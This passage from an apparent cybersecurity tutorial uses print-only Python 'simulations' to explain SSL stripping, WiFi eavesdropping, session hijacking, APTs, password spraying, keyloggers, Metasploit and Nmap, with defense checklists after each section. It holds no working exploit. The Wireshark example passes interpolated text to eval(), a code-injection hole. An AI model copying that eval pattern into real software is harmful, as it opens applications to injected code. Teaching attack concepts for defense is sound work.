        print(f"🔄 Downgraded to HTTP")
        print(f"⚠️ Data transmitted in plaintext")
        print(f"💀 Attacker can read all data (passwords, cookies, etc.)")

    def check_hsts(self, url):
        """Simulate HSTS check"""
        print("\n=== HSTS Protection ===")
        print(f"HSTS would have prevented SSL stripping for {url}")
        print("✅ HSTS ensures browser only connects via HTTPS")
        print("✅ Prevents SSL stripping attacks")

# Example
ssl_hijack = SSLHijacking()
ssl_hijack.simulate_strip_attack("https://bank.com")
ssl_hijack.check_hsts("bank.com")

WiFi Eavesdropping

WiFi eavesdropping involves capturing and analyzing wireless network traffic to intercept sensitive information.

Attack Methods:

MethodDescription
Open Network SniffingCapturing traffic on unencrypted networks
Evil TwinSetting up a fake access point that mimics a legitimate one
KRACK AttackExploiting WPA2 handshake vulnerability
Deauthentication AttackForcing clients to reconnect, enabling handshake capture
# Conceptual WiFi eavesdropping simulation
class WiFiEavesdropping:
    def __init__(self):
        self.wifi_methods = {
            "Open Network": "Sniff all traffic in clear text",
            "WEP": "Crack WEP easily (broken protocol)",
            "WPA2": "Capture handshake, crack password",
            "Evil Twin": "Create fake access point",
            "KRACK": "Exploit WPA2 handshake vulnerability"
        }

    def simulate_eavesdrop(self, network_type):
        """Simulate WiFi eavesdropping"""
        print("=== WiFi Eavesdropping Simulation ===")
        print(f"📡 Network: {network_type}")
        print(f"🛠️ Technique: {self.wifi_methods.get(network_type, 'Unknown')}")

        if network_type == "Open Network":
            print("⚠️ All traffic is visible to anyone on the network")
            print("💀 Passwords, emails, and sensitive data are exposed")
        elif network_type == "Evil Twin":
            print("🎯 Attacker creates fake network with same name")
            print("🔄 Users connect to the fake network")
            print("💀 All traffic goes through attacker")
        elif network_type == "WPA2":
            print("🔑 Attacker captures handshake")
            print("💻 Offline dictionary attack is possible")
            print("⚠️ Use strong passwords to protect")

# Example
wifi_attack = WiFiEavesdropping()
wifi_attack.simulate_eavesdrop("Open Network")
wifi_attack.simulate_eavesdrop("Evil Twin")

Session Hijacking

Session hijacking involves stealing a user’s session identifier (session cookie) to impersonate them and gain unauthorized access to their accounts.

How It Works:

  1. User authenticates to a web application
  2. Server issues a session cookie
  3. Cookie is transmitted with each request
  4. Attacker intercepts or steals the cookie
  5. Attacker uses the cookie to impersonate the user
# Conceptual session hijacking simulation
class SessionHijacking:
    def __init__(self):
        self.sessions = {
            "user123": {"username": "alice", "role": "admin", "session_id": "ABCDEF123456"},
            "user456": {"username": "bob", "role": "user", "session_id": "XYZ789"}
        }

    def intercept_cookie(self, username):
        """Simulate intercepting a session cookie"""
        if username in self.sessions:
            session = self.sessions[username]
            print(f"🔑 Intercepted session cookie: {session['session_id']}")
            print(f"👤 Username: {session['username']}")
            print(f"👑 Role: {session['role']}")
            return session['session_id']
        return None

    def use_stolen_cookie(self, session_id):
        """Simulate using a stolen cookie"""
        print(f"\n=== Session Hijacking ===")
        print(f"🎯 Using stolen session ID: {session_id}")
        print(f"✅ Attacker is now authenticated as the user")
        print(f"💀 Attacker can perform actions on behalf of the user")
        print(f"⚠️ User is unaware of the hijacking")

    def simulate_attack(self, target_user):
        """Simulate session hijacking attack"""
        print("=== Session Hijacking Attack Simulation ===")
        session_id = self.intercept_cookie(target_user)
        if session_id:
            self.use_stolen_cookie(session_id)

# Example
session_hijack = SessionHijacking()
session_hijack.simulate_attack("user123")

MITM Detection & Prevention

TechniqueDescription
Encryption (TLS)Encrypt all communication to prevent interception
Certificate ValidationAlways validate certificates before trusting them
HSTSEnforce HTTPS connections
Certificate PinningPin expected certificates to prevent spoofing
Mutual AuthenticationAuthenticate both client and server
ARP MonitoringDetect ARP spoofing
Use HTTPS EverywhereAlways use encrypted connections
# MITM prevention checklist
class MITMPrevention:
    def __init__(self):
        self.controls = []

    def add_control(self, name, description, implementation):
        self.controls.append({
            "name": name,
            "description": description,
            "implementation": implementation
        })

    def display_checklist(self):
        print("=== Man-in-the-Middle Prevention Checklist ===")
        for control in self.controls:
            print(f"\n🔹 {control['name']}")
            print(f"   {control['description']}")
            print(f"   ✅ Implementation: {control['implementation']}")

# Example
mitm_prevention = MITMPrevention()
mitm_prevention.add_control(
    "TLS/SSL",
    "Encrypt all communication",
    "Use HTTPS, enforce TLS 1.3"
)
mitm_prevention.add_control(
    "HSTS",
    "Enforce HTTPS connections",
    "Add HSTS header to web applications"
)
mitm_prevention.add_control(
    "ARP Monitoring",
    "Detect ARP spoofing",
    "Use ARPwatch, XArp"
)
mitm_prevention.display_checklist()

3.1.5 Zero-Day & APT (Advanced Threats)

Zero-Day Exploits

Definition: A zero-day vulnerability is a security flaw in software or hardware that is unknown to the vendor and therefore has no available patch. The term “zero-day” refers to the number of days the vendor has had to fix the problem — zero.

Why Zero-Day Attacks Are Dangerous:

  • No available patch
  • No known signature for detection
  • Defenders have zero days to prepare
  • Attackers can exploit until discovered
  • Can remain unpatched for months or years

Zero-Day Lifecycle:

StageDescription
DiscoveryResearcher or attacker finds vulnerability
ExploitationAttacker uses vulnerability to gain access
Discovery by VendorVendor becomes aware of vulnerability
Patch DevelopmentVendor develops fix
Public DisclosureVulnerability becomes public
PatchingSystems are updated
# Conceptual zero-day simulation
class ZeroDaySimulation:
    def __init__(self, vulnerability_name):
        self.vulnerability_name = vulnerability_name
        self.is_public = False
        self.patch_available = False

    def exploit(self, target):
        """Simulate zero-day exploitation"""
        print("=== Zero-Day Exploit Simulation ===")
        print(f"💀 Exploiting zero-day: {self.vulnerability_name}")
        print(f"🎯 Target: {target}")
        print(f"🔒 Status: {'Public' if self.is_public else 'Undisclosed'}")
        print(f"🛡️ Patch available: {'Yes' if self.patch_available else 'No'}")

        if not self.is_public:
            print("⚠️ Vulnerability is UNKNOWN to vendor")
            print("⚠️ No patch exists")
            print("⚠️ Traditional defenses cannot detect the attack")
            print("✅ Attacker successfully compromised the system")
        else:
            print("⚠️ Vulnerability is KNOWN")
            print("⚠️ Patch available but may not be installed")
            print("⚠️ Systems are vulnerable if not patched")

# Example
zero_day = ZeroDaySimulation("CVE-2024-12345")
zero_day.exploit("Corporate Network")

Advanced Persistent Threats (APTs)

Advanced Persistent Threats (APTs) are sophisticated, long-term targeted attacks typically conducted by nation-state actors or highly organized criminal groups.

The defining characteristics of an APT:

  • Advanced: Using sophisticated custom tools, zero-day exploits, and highly targeted techniques
  • Persistent: Maintaining long-term access to a compromised network (months or years)
  • Threat: Having a specific objective (espionage, intellectual property theft, disruption)

APT Attack Lifecycle:

PhaseDescription
ReconnaissanceResearching the target organization
Initial AccessGaining a foothold (spear phishing, zero-day)
Establish FootprintInstalling backdoors and persistence
Lateral MovementMoving through the network
Data DiscoveryFinding valuable data
Data ExfiltrationStealing data over extended period
Cover TracksRemoving evidence of intrusion
# Conceptual APT simulation
class APTSimulation:
    def __init__(self, name, target):
        self.name = name
        self.target = target
        self.phases_completed = []

    def reconnaissance(self):
        print(f"🔍 {self.name}: Reconnaissance phase")
        print(f"   Gathering intelligence on {self.target}")
        self.phases_completed.append("Reconnaissance")

    def initial_access(self):
        print(f"🎯 {self.name}: Initial access phase")
        print(f"   Spear phishing campaign targeting {self.target}")
        print(f"   Zero-day exploit delivered via email")
        self.phases_completed.append("Initial Access")

    def lateral_movement(self):
        print(f"🚶 {self.name}: Lateral movement phase")
        print(f"   Moving through network using stolen credentials")
        print(f"   Compromising domain controller")
        self.phases_completed.append("Lateral Movement")

    def data_exfiltration(self):
        print(f"📤 {self.name}: Data exfiltration phase")
        print(f"   Encrypting and exfiltrating data over HTTPS")
        print(f"   〰️ Stealthy, slow exfiltration to avoid detection")
        self.phases_completed.append("Data Exfiltration")

    def cover_tracks(self):
        print(f"🧹 {self.name}: Covering tracks phase")
        print(f"   Deleting logs, removing artifacts")
        self.phases_completed.append("Cover Tracks")

    def simulate_attack(self):
        """Simulate a complete APT attack"""
        print(f"\n=== APT Attack Simulation ===")
        print(f"🕵️ Threat Actor: {self.name}")
        print(f"🎯 Target: {self.target}")
        print(f"⏱️ Duration: 3 months (real-world APTs last months to years)\n")

        self.reconnaissance()
        self.initial_access()
        self.lateral_movement()
        self.data_exfiltration()
        self.cover_tracks()

        print(f"\n✅ APT attack complete")
        print(f"📊 Phases completed: {', '.join(self.phases_completed)}")
        print(f"💀 Target compromised for 3 months without detection")

# Example
apt = APTSimulation("Sofacy_APT", "Government Agency")
apt.simulate_attack()

Supply Chain Attacks

Supply chain attacks compromise vendors, suppliers, or third-party software providers to gain access to the ultimate target.

How It Works:

  1. Attacker identifies a vendor or supplier of the target
  2. Attacker compromises the vendor’s systems
  3. Attacker injects malicious code into legitimate software
  4. The target installs the compromised software
  5. Attacker gains access to the target’s network
# Conceptual supply chain attack simulation
class SupplyChainAttack:
    def __init__(self, vendor, target):
        self.vendor = vendor
        self.target = target
        self.steps = []

    def compromise_vendor(self):
        print(f"🔴 Compromising vendor: {self.vendor}")
        self.steps.append("Vendor compromised")

    def inject_malware(self):
        print(f"💉 Injecting malware into software update")
        print(f"   Malware added to legitimate update")
        self.steps.append("Malware injected")

    def deploy_compromised_update(self):
        print(f"📦 Deploying compromised update")
        print(f"   {self.target} downloads and installs update")
        self.steps.append("Update deployed")

    def gain_access(self):
        print(f"🎯 Gaining access to {self.target}'s network")
        print(f"✅ Backdoor established")
        print(f"💀 Attacker now has persistent access")

    def simulate(self):
        print("=== Supply Chain Attack Simulation ===")
        print(f"🎯 Target: {self.target}")
        print(f"🔗 Vector: {self.vendor} (vendor compromise)\n")

        self.compromise_vendor()
        self.inject_malware()
        self.deploy_compromised_update()
        self.gain_access()

        print(f"\n✅ Attack chain complete")
        print(f"📊 Steps: {' -> '.join(self.steps)}")

# Example
supply_chain = SupplyChainAttack("Software Vendor Inc", "Large Enterprise")
supply_chain.simulate()

APT/Zero-Day Detection & Defense

DefenseDescription
Behavioral AnalysisMonitoring for unusual behavior
Threat HuntingProactively searching for threats
Intelligence SharingSharing information about new threats
Network SegmentationLimiting lateral movement
Least PrivilegeLimiting what users can access
SandboxingIsolating suspicious files
Patch ManagementApplying patches quickly
# APT defense checklist
class APTDefense:
    def __init__(self):
        self.controls = []

    def add_control(self, name, description, implementation):
        self.controls.append({
            "name": name,
            "description": description,
            "implementation": implementation
        })

    def display_checklist(self):
        print("=== APT/Zero-Day Defense Checklist ===")
        for control in self.controls:
            print(f"\n🔹 {control['name']}")
            print(f"   {control['description']}")
            print(f"   ✅ Implementation: {control['implementation']}")

# Example
apt_defense = APTDefense()
apt_defense.add_control(
    "Behavioral Analysis",
    "Monitor for unusual behavior patterns",
    "Use UEBA tools, establish baselines"
)
apt_defense.add_control(
    "Threat Hunting",
    "Proactively search for threats",
    "Dedicated hunting team, MITRE ATT&CK framework"
)
apt_defense.add_control(
    "Network Segmentation",
    "Limit lateral movement",
    "Micro-segmentation, zero-trust architecture"
)
apt_defense.display_checklist()

3.1.6 Password Attacks

Password attacks target the most common authentication mechanism — the password. Attackers use various techniques to obtain passwords and gain unauthorized access.

Brute Force Attacks

A brute force attack tries every possible combination of characters until the correct password is found.

Online vs Offline Brute Force:

TypeDescriptionMitigation
OnlineTrying passwords on the live systemAccount lockout, rate limiting
OfflineTrying passwords against a stolen hashStrong hashing, long passwords
# Conceptual brute force simulation
class BruteForceSimulation:
    def __init__(self):
        self.attempts = 0

    def try_password(self, password, target_password):
        """Simulate trying a password"""
        self.attempts += 1
        if password == target_password:
            print(f"🎉 Password found in {self.attempts} attempts!")
            return True
        return False

    def brute_force(self, target_password, max_length=3):
        """Simulate brute force attack"""
        print("=== Brute Force Attack Simulation ===")
        import string
        chars = string.ascii_lowercase

        def recursive_guess(prefix, length):
            if length == 0:
                if self.try_password(prefix, target_password):
                    return True
                return False
            for c in chars:
                if recursive_guess(prefix + c, length - 1):
                    return True
            return False

        for length in range(1, max_length + 1):
            print(f"🔍 Trying passwords of length {length}...")
            if recursive_guess("", length):
                break
        else:
            print(f"❌ Password not found in {self.attempts} attempts")

# Example
bruteforce = BruteForceSimulation()
bruteforce.brute_force("abc", 3)

Dictionary Attacks

A dictionary attack uses a wordlist of common passwords instead of trying every possible combination.

Why Dictionary Attacks Work:

  • Users choose common passwords (password, 123456, admin)
  • Wordlists contain millions of common passwords
  • Much faster than pure brute force
  • Often combined with rules (mutation)
# Conceptual dictionary attack simulation
class DictionaryAttack:
    def __init__(self):
        self.attempts = 0
        self.wordlist = [
            "password", "123456", "admin", "letmein", "qwerty",
            "welcome", "monkey", "dragon", "master", "baseball"
        ]

    def dictionary_attack(self, target_password):
        """Simulate dictionary attack"""
        print("=== Dictionary Attack Simulation ===")
        print(f"📚 Using wordlist of {len(self.wordlist)} common passwords")

        for password in self.wordlist:
            self.attempts += 1
            if password == target_password:
                print(f"🎉 Password found: '{password}'")
                print(f"📊 Attempts: {self.attempts}")
                return True

        print("❌ Password not found in wordlist")
        return False

# Example
dict_attack = DictionaryAttack()
dict_attack.dictionary_attack("admin")

Rainbow Tables

Rainbow tables are precomputed hash chains that store a trade-off between hash computation time and storage space. They allow quick lookup of passwords from hashes.

How They Work:

  1. Precompute hash chains
  2. Store only the start and end of each chain
  3. To crack a hash, generate a chain and look for a match
  4. Reconstruct the password from the chain
# Conceptual rainbow table simulation
class RainbowTableSimulation:
    def __init__(self):
        self.rainbow_table = {}
        import hashlib

    def compute_hash(self, password):
        """Compute MD5 hash"""
        import hashlib
        return hashlib.md5(password.encode()).hexdigest()

    def build_table(self, wordlist):
        """Build rainbow table (simplified)"""
        print("🔨 Building rainbow table...")
        for password in wordlist:
            hash_value = self.compute_hash(password)
            self.rainbow_table[hash_value] = password
        print(f"✅ Rainbow table built with {len(self.rainbow_table)} entries")

    def crack_hash(self, hash_value):
        """Crack a hash using rainbow table"""
        if hash_value in self.rainbow_table:
            print(f"🎉 Password found: {self.rainbow_table[hash_value]}")
            return self.rainbow_table[hash_value]
        else:
            print("❌ Hash not found in rainbow table")
            return None

# Example
rainbow = RainbowTableSimulation()
wordlist = ["password", "123456", "admin", "letmein", "qwerty"]
rainbow.build_table(wordlist)
target_hash = rainbow.compute_hash("admin")
rainbow.crack_hash(target_hash)

Credential Stuffing

Credential stuffing uses passwords stolen from one system to gain access to accounts on other systems.

Why It Works:

  • Users reuse passwords across multiple sites
  • Data breaches provide large username/password lists
  • Automated tools try thousands of combinations
# Conceptual credential stuffing simulation
class CredentialStuffing:
    def __init__(self):
        self.compromised_credentials = [
            {"email": "user1@example.com", "password": "password123"},
            {"email": "user2@example.com", "password": "qwerty"},
            {"email": "admin@example.com", "password": "admin123"}
        ]

    def try_login(self, email, password):
        """Simulate login attempt"""
        print(f"🔐 Trying: {email} / {password}")
        # Simulating successful login for common accounts
        if email == "admin@example.com" and password == "admin123":
            return True
        return False

    def stuffing_attack(self):
        """Simulate credential stuffing attack"""
        print("=== Credential Stuffing Attack ===")
        print("🎯 Using compromised credentials from previous breach\n")

        success_count = 0
        for cred in self.compromised_credentials:
            if self.try_login(cred['email'], cred['password']):
                print(f"✅ SUCCESS: {cred['email']} / {cred['password']}")
                success_count += 1

        print(f"\n📊 {success_count} accounts compromised")
        print("⚠️ Password reuse enabled this attack")

# Example
stuffing = CredentialStuffing()
stuffing.stuffing_attack()

Keylogging

Keyloggers record every keystroke made by a user, capturing passwords, credit card numbers, and other sensitive information.

Types of Keyloggers:

TypeDescription
Software KeyloggersPrograms that intercept keystrokes
Hardware KeyloggersPhysical devices connected to keyboards
Screen LoggersCapture screenshots at intervals
Clipboard LoggersMonitor clipboard content
# Conceptual keylogger simulation
class KeyloggerSimulation:
    def __init__(self):
        self.logged_keys = []

    def log_key(self, key):
        """Simulate logging a keystroke"""
        self.logged_keys.append(key)
        print(f"⌨️ Logged: {key}")

    def save_log(self, filename="keylog.txt"):
        """Save captured keystrokes"""
        with open(filename, 'w') as f:
            f.write(''.join(self.logged_keys))
        print(f"💾 Keystrokes saved to {filename}")

    def get_passwords(self):
        """Extract potential passwords from logged keys"""
        # Simulating password extraction
        text = ''.join(self.logged_keys)
        # Simple pattern: look for common password indicators
        if "password" in text.lower():
            print("🔑 Potential password detected!")
            return True
        return False

    def simulate(self, keys):
        """Simulate keylogging activity"""
        print("=== Keylogger Simulation ===")
        print("⌨️ Logging all keystrokes...")
        for key in keys:
            self.log_key(key)
        print(f"\n📊 Total keystrokes: {len(self.logged_keys)}")
        if self.get_passwords():
            print("⚠️ Sensitive information captured")

# Example
keylogger = KeyloggerSimulation()
keys = ["u", "s", "e", "r", "n", "a", "m", "e", " ", 
        "p", "a", "s", "s", "w", "o", "r", "d", "123"]
keylogger.simulate(keys)

Password Spraying

Password spraying tries common passwords against many accounts, rather than trying many passwords against one account. This avoids account lockout mechanisms.

Example: Trying “Winter2024!” against 100,000 accounts. Only 1-2 attempts per account, so lockout policies don’t trigger. If even 1% use that password, 1,000 accounts are compromised.

# Conceptual password spraying simulation
class PasswordSpraying:
    def __init__(self):
        self.common_passwords = ["Winter2024", "Summer2024", "Password2024", "Company@123"]
        self.users = ["alice", "bob", "charlie", "dave", "eve", "admin"]

    def try_password_spray(self, password):
        """Simulate spraying a password across all users"""
        print(f"🔑 Spraying password: {password}")
        for user in self.users:
            print(f"   Trying {user}: {password}")
            # Simulating successful login for certain users
            if user == "admin" and password == "Winter2024":
                print(f"✅ SUCCESS: {user} with password {password}")
                return True
        return False

    def simulate_attack(self):
        """Simulate password spraying attack"""
        print("=== Password Spraying Attack ===")
        print("🎯 Spraying common passwords across all accounts\n")

        success_count = 0
        for password in self.common_passwords:
            if self.try_password_spray(password):
                success_count += 1

        print(f"\n📊 {success_count} accounts compromised")
        print("⚠️ Password spraying bypasses account lockout")

# Example
spraying = PasswordSpraying()
spraying.simulate_attack()

Password Attack Defenses

DefenseDescription
Multi-Factor Authentication (MFA)Require additional authentication factor
Strong Password PoliciesEnforce minimum length and complexity
Account LockoutLock accounts after failed attempts
Rate LimitingLimit login attempts
Password ManagersGenerate and store strong passwords
Breach MonitoringCheck if credentials are compromised
# Password defense checklist
class PasswordDefense:
    def __init__(self):
        self.controls = []

    def add_control(self, name, description, implementation):
        self.controls.append({
            "name": name,
            "description": description,
            "implementation": implementation
        })

    def display_checklist(self):
        print("=== Password Attack Defense Checklist ===")
        for control in self.controls:
            print(f"\n🔹 {control['name']}")
            print(f"   {control['description']}")
            print(f"   ✅ Implementation: {control['implementation']}")

# Example
password_defense = PasswordDefense()
password_defense.add_control(
    "Multi-Factor Authentication (MFA)",
    "Require additional authentication factor",
    "Implement TOTP, SMS codes, hardware tokens"
)
password_defense.add_control(
    "Strong Password Policies",
    "Enforce minimum length and complexity",
    "Minimum 12 characters, mix of characters"
)
password_defense.add_control(
    "Account Lockout",
    "Lock accounts after failed attempts",
    "5 failed attempts = 15-minute lockout"
)
password_defense.display_checklist()

3.1.7 Insider Threats

Insider threats come from individuals within an organization — employees, contractors, or business partners — who have authorized access but use it maliciously or negligently.

Types of Insider Threats:

TypeDescription
Malicious InsidersIntentional harm, data theft, sabotage
Negligent InsidersAccidental breaches, misconfigurations
Compromised InsidersAccount takeover, external compromise

Malicious Insiders

Definition: Malicious insiders intentionally cause harm to the organization through data theft, sabotage, or other malicious actions.

Motivations:

  • Financial gain (selling data)
  • Revenge (disgruntled employee)
  • Ideological reasons
  • Espionage
# Conceptual malicious insider simulation
class MaliciousInsider:
    def __init__(self):
        self.actions = [
            "Data theft",
            "Sabotage",
            "Intellectual property theft",
            "Installing backdoors"
        ]

    def simulate_data_theft(self):
        print("=== Malicious Insider: Data Theft ===")
        print("👤 Employee with legitimate access")
        print("📤 Copying sensitive customer database")
        print("💾 Saving to USB drive")
        print("💰 Selling data to competitor")
        print("✅ Data theft complete")

    def simulate_sabotage(self):
        print("=== Malicious Insider: Sabotage ===")
        print("👤 Disgruntled system administrator")
        print("💀 Deleting production database")
        print("🔴 Causing significant business disruption")
        print("📉 Financial damage")

    def simulate(self):
        print("=== Malicious Insider Threat Simulation ===")
        print("🚨 Insider with legitimate access")
        print("💀 Intentional harmful actions\n")
        self.simulate_data_theft()
        print()
        self.simulate_sabotage()

        print("\n⚠️ Detection Challenges:")
        print("   - Legitimate access reduces suspicion")
        print("   - Actions appear normal initially")
        print("   - May leave few technical traces")

# Example
insider = MaliciousInsider()
insider.simulate()

Negligent Insiders

Negligent insiders cause harm through carelessness, lack of awareness, or failure to follow security policies.

Common Negligent Actions:

ActionImpact
Falling for PhishingCredential theft, malware infection
MisconfigurationExposing sensitive data
Lost DevicesData breach
Weak PasswordsAccount compromise
Sharing CredentialsUnauthorized access
# Conceptual negligent insider simulation
class NegligentInsider:
    def __init__(self):
        self.negligent_actions = [
            {
                "action": "Phishing Click",
                "description": "Clicking on a phishing email",
                "impact": "Malware installed on network"
            },
            {
                "action": "Misconfiguration",
                "description": "Misconfiguring an S3 bucket",
                "impact": "Customer data publicly exposed"
            },
            {
                "action": "Lost Laptop",
                "description": "Leaving laptop in public place",
                "impact": "Sensitive data stolen"
            }
        ]

    def simulate_negligence(self):
        print("=== Negligent Insider Simulation ===")
        for action in self.negligent_actions:
            print(f"\n🔴 {action['action']}:")
            print(f"   {action['description']}")
            print(f"   💥 Impact: {action['impact']}")

        print("\n⚠️ Root Causes:")
        print("   - Lack of security awareness training")
        print("   - Poor security culture")
        print("   - Inadequate security controls")
        print("   - Overworked employees rushing tasks")

# Example
negligent = NegligentInsider()
negligent.simulate_negligence()

Compromised Insiders

A compromised insider is an employee whose account has been taken over by an external attacker, who then uses the employee’s legitimate credentials to conduct malicious activities.

How It Happens:

  1. Attacker compromises employee credentials (phishing, malware, data breach)
  2. Attacker uses credentials to access corporate systems
  3. Attacker appears legitimate (using employee’s account)
  4. Attacker accesses sensitive data or moves laterally
# Conceptual compromised insider simulation
class CompromisedInsider:
    def __init__(self):
        self.attack_flow = [
            {"step": "1. Phishing", "description": "Employee falls for phishing email"},
            {"step": "2. Credential Theft", "description": "Credentials are captured"},
            {"step": "3. Account Takeover", "description": "Attacker logs in as employee"},
            {"step": "4. Lateral Movement", "description": "Attacker moves through network"},
            {"step": "5. Data Theft", "description": "Attacker steals sensitive data"}
        ]

    def simulate_compromise(self):
        print("=== Compromised Insider Simulation ===")
        for phase in self.attack_flow:
            print(f"\n{phase['step']}")
            print(f"   {phase['description']}")

        print("\n⚠️ Difficulty for Defenders:")
        print("   - Attacker uses legitimate credentials")
        print("   - Activities appear normal")
        print("   - Employee is unaware")
        print("   - May take weeks to detect")

        print("\n✅ Defensive Measures:")
        print("   - Multi-factor authentication (prevents account takeover)")
        print("   - Behavioral analytics (detects unusual activity)")
        print("   - Least privilege (limits attacker's access)")

# Example
compromised = CompromisedInsider()
compromised.simulate_compromise()

Insider Threat Detection & Prevention

MeasureDescription
User MonitoringMonitor user activity for anomalies
Behavioral AnalyticsDetect unusual behavior patterns
DLP (Data Loss Prevention)Prevent data exfiltration
Least PrivilegeLimit user access to what’s needed
Separation of DutiesRequire multiple people for critical actions
Exit ProceduresRevoke access when employees leave
# Insider threat prevention checklist
class InsiderThreatPrevention:
    def __init__(self):
        self.controls = []

    def add_control(self, name, description, implementation):
        self.controls.append({
            "name": name,
            "description": description,
            "implementation": implementation
        })

    def display_checklist(self):
        print("=== Insider Threat Prevention Checklist ===")
        for control in self.controls:
            print(f"\n🔹 {control['name']}")
            print(f"   {control['description']}")
            print(f"   ✅ Implementation: {control['implementation']}")

# Example
insider_prevention = InsiderThreatPrevention()
insider_prevention.add_control(
    "Behavioral Analytics",
    "Detect unusual user behavior",
    "UEBA tools, establish baselines"
)
insider_prevention.add_control(
    "Data Loss Prevention (DLP)",
    "Prevent data exfiltration",
    "Endpoint DLP, network DLP"
)
insider_prevention.add_control(
    "Least Privilege",
    "Limit user access",
    "Regular access reviews, RBAC"
)
insider_prevention.display_checklist()

3.2 Attack Tooling & Frameworks

3.2.1 Metasploit Framework

Metasploit is the most widely used penetration testing framework in the world. It provides a unified platform for exploit development, payload generation, and post-exploitation activities.

Key Components:

ComponentDescription
ExploitsCode that takes advantage of vulnerabilities
PayloadsCode that executes on the target after exploitation
ModulesReusable components (auxiliary, post, encoding)
MeterpreterAdvanced payload with extensive post-exploitation capabilities

Metasploit Workflow:

  1. Search for an exploit
  2. Select and configure the exploit
  3. Select and configure a payload
  4. Set target options (RHOST, RPORT)
  5. Run the exploit
  6. Interact with the session
# Conceptual Metasploit simulation
class MetasploitSimulation:
    def __init__(self):
        self.exploits = {
            "vsftpd_234_backdoor": {
                "description": "vsftpd 2.3.4 backdoor exploit",
                "affected_versions": ["2.3.4"],
                "targets": ["Linux"]
            },
            "smb_eternalblue": {
                "description": "EternalBlue SMB exploit",
                "affected_versions": ["Windows 7", "Windows 2008"],
                "targets": ["Windows"]
            }
        }
        self.active_session = None

    def search_exploit(self, keyword):
        """Search for exploits"""
        print(f"🔍 Searching for exploits matching: {keyword}")
        found = []
        for name, details in self.exploits.items():
            if keyword in name or keyword in details['description']:
                found.append(name)
        return found

    def use_exploit(self, exploit_name):
        """Select an exploit"""
        if exploit_name in self.exploits:
            print(f"✅ Using exploit: {exploit_name}")
            print(f"📖 Description: {self.exploits[exploit_name]['description']}")
            return self.exploits[exploit_name]
        else:
            print(f"❌ Exploit not found: {exploit_name}")
            return None

    def set_option(self, exploit, option, value):
        """Set exploit option"""
        print(f"🔧 Setting {option} = {value}")
        # In real Metasploit, this would set the option
        return exploit

    def run_exploit(self, exploit):
        """Run the exploit"""
        print(f"🚀 Launching exploit...")
        print(f"📡 Targeting remote system")
        print(f"⚡ Sending payload")
        print(f"✅ Exploit successful!")
        self.active_session = "session_1"
        return self.active_session

    def interact_with_session(self):
        """Interact with the active session"""
        if self.active_session:
            print(f"\n=== Interacting with {self.active_session} ===")
            print(f"🖥️ Meterpreter session opened")
            print(f"📂 Commands available: sysinfo, getuid, ps, shell, download")
            return True
        return False

    def simulate_attack(self):
        """Simulate a complete Metasploit attack"""
        print("=== Metasploit Attack Simulation ===\n")

        # Search
        results = self.search_exploit("vsftpd")
        print(f"Found: {results}\n")

        # Select
        exploit = self.use_exploit(results[0])
        if exploit:
            self.set_option(exploit, "RHOSTS", "192.168.1.10")
            self.set_option(exploit, "RPORT", "21")

            # Run
            session = self.run_exploit(exploit)

            # Interact
            self.interact_with_session()

# Example
msf = MetasploitSimulation()
msf.simulate_attack()

3.2.2 Network Analysis Tools

Nmap (Network Mapper)

Nmap is the most widely used network scanning tool. It discovers hosts, identifies open ports, detects service versions, and fingerprints operating systems.

Key Nmap Features:

FeatureDescription
Host DiscoveryFind live hosts on the network
Port ScanningDiscover open ports
Version DetectionIdentify service versions
OS DetectionFingerprint operating systems
Script ScanningRun NSE scripts for deeper enumeration
# Conceptual Nmap simulation
class NmapSimulation:
    def __init__(self):
        self.hosts = {
            "192.168.1.1": {"open_ports": [22, 80, 443], "os": "Linux"},
            "192.168.1.10": {"open_ports": [445, 3389], "os": "Windows"},
            "192.168.1.20": {"open_ports": [21, 25, 80], "os": "Linux"}
        }

    def scan_hosts(self, target):
        """Simulate host discovery"""
        print(f"🔍 Scanning: {target}")
        if target in self.hosts:
            print(f"✅ Host {target} is up")
            return True
        print("❌ Host appears down")
        return False

    def scan_ports(self, target, start_port=1, end_port=1024):
        """Simulate port scanning"""
        if target in self.hosts:
            print(f"📡 Port scanning {target} (ports {start_port}-{end_port})")
            open_ports = self.hosts[target]['open_ports']
            for port in open_ports:
                if start_port <= port <= end_port:
                    print(f"  Port {port}/tcp  OPEN")
            return open_ports
        return []

    def detect_version(self, target, port):
        """Simulate version detection"""
        if target in self.hosts:
            print(f"🔍 Service detection on {target}:{port}")
            # Simulated version detection
            versions = {
                (22, "Linux"): "OpenSSH 7.4p1",
                (80, "Linux"): "Apache 2.4.6",
                (443, "Linux"): "nginx 1.14.0"
            }
            os = self.hosts[target]['os']
            if (port, os) in versions:
                print(f"  ✅ Service: {versions[(port, os)]}")
            return "Unknown"
        return None

    def detect_os(self, target):
        """Simulate OS detection"""
        if target in self.hosts:
            print(f"🖥️ OS detection on {target}")
            os = self.hosts[target]['os']
            print(f"  ✅ OS: {os}")
            return os
        return None

    def run_scan(self, target):
        """Simulate a complete Nmap scan"""
        print("=== Nmap Scan Simulation ===\n")
        self.scan_hosts(target)
        print()
        open_ports = self.scan_ports(target)
        print()
        self.detect_os(target)
        print()
        for port in open_ports[:2]:  # Limit for demo
            self.detect_version(target, port)

# Example
nmap = NmapSimulation()
nmap.run_scan("192.168.1.1")

Wireshark (Packet Analysis)

Wireshark captures and analyzes network packets in real-time. It’s essential for understanding network traffic and identifying security issues.

Key Wireshark Features:

FeatureDescription
Live CaptureCapture traffic in real-time
Display FiltersFilter packets by protocol, IP, port, etc.
Packet AnalysisInspect packet headers and payloads
Follow StreamReconstruct TCP streams
StatisticsNetwork usage, endpoints, protocol hierarchy
# Conceptual Wireshark simulation
class WiresharkSimulation:
    def __init__(self):
        self.packets = []

    def capture_packet(self, packet_data):
        """Simulate capturing a packet"""
        self.packets.append(packet_data)
        print(f"📨 Captured: {packet_data['protocol']} {packet_data['src']} -> {packet_data['dst']}")

    def display_filter(self, filter_condition):
        """Simulate display filter"""
        print(f"\n🔍 Applying filter: {filter_condition}")
        filtered = []
        for packet in self.packets:
            if eval(f"'{packet['protocol']}' == '{filter_condition}'"):
                filtered.append(packet)
        return filtered

    def follow_stream(self, src_ip, dst_ip):
        """Simulate following a TCP stream"""
        print(f"\n🌐 Following stream: {src_ip} <-> {dst_ip}")
        stream_data = []
        for packet in self.packets:
            if (packet['src'] == src_ip and packet['dst'] == dst_ip) or \
               (packet['src'] == dst_ip and packet['dst'] == src_ip):
                stream_data.append(packet)
        return stream_data

    def analyze_traffic(self):
        """Analyze captured traffic for security issues"""
        print("\n=== Traffic Analysis ===")
        protocols = {}
        for packet in self.packets:
            protocol = packet['protocol']
